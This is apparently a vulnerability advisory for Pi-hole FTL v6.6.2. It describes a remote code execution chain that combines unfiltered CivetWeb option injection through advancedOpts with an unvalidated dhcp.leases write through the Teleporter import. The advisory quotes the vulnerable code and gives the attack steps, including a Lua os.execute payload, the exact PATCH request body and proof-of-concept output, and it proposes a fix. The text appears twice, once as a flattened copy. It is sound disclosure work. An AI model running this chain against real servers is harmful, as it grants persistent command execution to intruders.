Affected component: Pi-hole FTL v6.6.2, PATCH /api/config (config.c:1100-1106, webserver.c:750-791) and POST /api/teleporter (teleporter.c:340-367).
Required privileges: Authenticated admin session.
Summary
The webserver.advancedOpts configuration setting accepts arbitrary CivetWeb options with no filtering on option names or values. An admin can use the lua_background_script option pointing to a file they control, causing CivetWeb to execute arbitrary Lua code on the next FTL restart. The restart happens automatically when advancedOpts is changed.
The file write is achieved through a second flaw: the Teleporter import writes the dhcp.leases ZIP entry to disk with zero content validation. Together, these two weaknesses form a RCE chain.
Details
Unfiltered CivetWeb option injection
webserver.advancedOpts is defined as a JSON string array:
// src/config/config.c:1100-1106
conf->webserver.advancedOpts.k = "webserver.advancedOpts";
conf->webserver.advancedOpts.t = CONF_JSON_STRING_ARRAY;
conf->webserver.advancedOpts.f = FLAG_RESTART_FTL;
conf->webserver.advancedOpts.d.json = cJSON_CreateArray();
conf->webserver.advancedOpts.c = validate_stub; // Only type-based checking
At server startup, each array element is split on the first = and appended to CivetWeb's configuration options without any allowlist:
// src/webserver/webserver.c:750-791
cJSON *option = NULL;
cJSON_ArrayForEach(option, config.webserver.advancedOpts.v.json)
{
// ...
const char *opt = cJSON_GetStringValue(option);
char *equal_sign = strchr(opt, '=');
// ...
size_t key_len = (size_t)(equal_sign - opt);
char *key = calloc(key_len + 1, sizeof(char));
strncpy(key, opt, key_len);
char *value = strdup(equal_sign + 1);
conf_opts[idx * 2] = key;
conf_opts[idx * 2 + 1] = value;
idx++;
}
// ...
init.configuration_options = (const char**)conf_opts;
if((ctx = mg_start2(&init, &error)) == NULL || !get_server_ports())
Pi-hole compiles CivetWeb with USE_LUA enabled and NO_CGI (src/webserver/civetweb/CMakeLists.txt:28-32). This means lua_background_script, lua_preload_file, lua_script_pattern, and lua_server_page_pattern are all live options that an attacker can inject to execute code.
Arbitrary file write via Teleporter dhcp.leases import
The Teleporter import handler writes the dhcp.leases ZIP entry to /etc/pihole/dhcp.leases with no content validation:
// src/zip/teleporter.c:340-367
static const char *import_dhcp_leases(const void *ptr, size_t size, char * const hint)
{
// We do not check if the file is empty here, as an empty dhcp.leases file is valid
// When we reach this point, we know that the file is a valid dhcp.leases file.
// We can now safely overwrite the current dhcp.leases file with the one from the ZIP archive
// Nevertheless, we rotate the current dhcp.leases file to keep a backup of the previous version
// Rotate current dhcp.leases file
rotate_files(DHCPLEASESFILE, NULL);
// Write new dhcp.leases file to disk
FILE *fp = fopen(DHCPLEASESFILE, "w");
if(fp == NULL)
{
strncpy(hint, strerror(errno), ERRBUF_SIZE);
return "Failed to open dhcp.leases file for writing";
}
if(fwrite(ptr, 1, size, fp) != size)
{
strncpy(hint, strerror(errno), ERRBUF_SIZE);
fclose(fp);
return "Failed to write to dhcp.leases file";
}
fclose(fp);
return NULL;
}
The comment at line 344 claims "we know that the file is a valid dhcp.leases file", but no validation precedes this function.
Attack chain
-
POST /api/teleporter with a ZIP containing etc/pihole/dhcp.leases whose content is a Lua script (e.g., os.execute("id > /tmp/proof.txt")). The import handler writes this verbatim to /etc/pihole/dhcp.leases.
-
PATCH /api/config with {"config":{"webserver":{"advancedOpts":["lua_background_script=/etc/pihole/dhcp.leases"]}}}. Because FLAG_RESTART_FTL is set on this config item, FTL restarts automatically.
-
On restart, CivetWeb reads the lua_background_script option, opens /etc/pihole/dhcp.leases, and executes it as a Lua script in a background thread (civetweb.c:20738-20742). The attacker's code runs.
PoC
Prerequisites: a Pi-hole v6 instance with a known admin password, and Python 3 with the requests library.
Script: advancedopts_rce_poc.py
$ python3 advancedopts_rce_poc.py http://192.168.16.132 admin_password "id"
[+] Authenticated
[+] Teleporter: ['etc/pihole/dhcp.leases']
[+] advancedOpts set, FTL restarting...
[+] Done. Verify: cat /tmp/pihole_rce_proof.txt
Proof file on the target:
$ docker exec pihole cat /tmp/pihole_rce_proof.txt
RCE_OK
uid=1000(pihole) gid=1000(pihole) groups=1000(pihole)
Impact
An authenticated admin can execute arbitrary commands on the Pi-hole server. The attack persists across restarts as the injected advancedOpts value is written to pihole.toml, and the Lua payload in dhcp.leases survives until overwritten. Every FTL restart re-executes the payload.
Remediation
Add an allowlist of permitted CivetWeb options in the advancedOpts processing loop and/or add content validation to import_dhcp_leases() in teleporter.c.
Affected component: Pi-hole FTL v6.6.2,
PATCH /api/config(config.c:1100-1106, webserver.c:750-791) andPOST /api/teleporter(teleporter.c:340-367).Required privileges: Authenticated admin session.
Summary
The
webserver.advancedOptsconfiguration setting accepts arbitrary CivetWeb options with no filtering on option names or values. An admin can use thelua_background_scriptoption pointing to a file they control, causing CivetWeb to execute arbitrary Lua code on the next FTL restart. The restart happens automatically when advancedOpts is changed.The file write is achieved through a second flaw: the Teleporter import writes the
dhcp.leasesZIP entry to disk with zero content validation. Together, these two weaknesses form a RCE chain.Details
Unfiltered CivetWeb option injection
webserver.advancedOptsis defined as a JSON string array:At server startup, each array element is split on the first
=and appended to CivetWeb's configuration options without any allowlist:Pi-hole compiles CivetWeb with
USE_LUAenabled andNO_CGI(src/webserver/civetweb/CMakeLists.txt:28-32). This meanslua_background_script,lua_preload_file,lua_script_pattern, andlua_server_page_patternare all live options that an attacker can inject to execute code.Arbitrary file write via Teleporter dhcp.leases import
The Teleporter import handler writes the
dhcp.leasesZIP entry to/etc/pihole/dhcp.leaseswith no content validation:The comment at line 344 claims "we know that the file is a valid dhcp.leases file", but no validation precedes this function.
Attack chain
POST /api/teleporterwith a ZIP containingetc/pihole/dhcp.leaseswhose content is a Lua script (e.g.,os.execute("id > /tmp/proof.txt")). The import handler writes this verbatim to/etc/pihole/dhcp.leases.PATCH /api/configwith{"config":{"webserver":{"advancedOpts":["lua_background_script=/etc/pihole/dhcp.leases"]}}}. BecauseFLAG_RESTART_FTLis set on this config item, FTL restarts automatically.On restart, CivetWeb reads the
lua_background_scriptoption, opens/etc/pihole/dhcp.leases, and executes it as a Lua script in a background thread (civetweb.c:20738-20742). The attacker's code runs.PoC
Prerequisites: a Pi-hole v6 instance with a known admin password, and Python 3 with the
requestslibrary.Script: advancedopts_rce_poc.py
Proof file on the target:
Impact
An authenticated admin can execute arbitrary commands on the Pi-hole server. The attack persists across restarts as the injected
advancedOptsvalue is written topihole.toml, and the Lua payload indhcp.leasessurvives until overwritten. Every FTL restart re-executes the payload.Remediation
Add an allowlist of permitted CivetWeb options in the advancedOpts processing loop and/or add content validation to
import_dhcp_leases()inteleporter.c.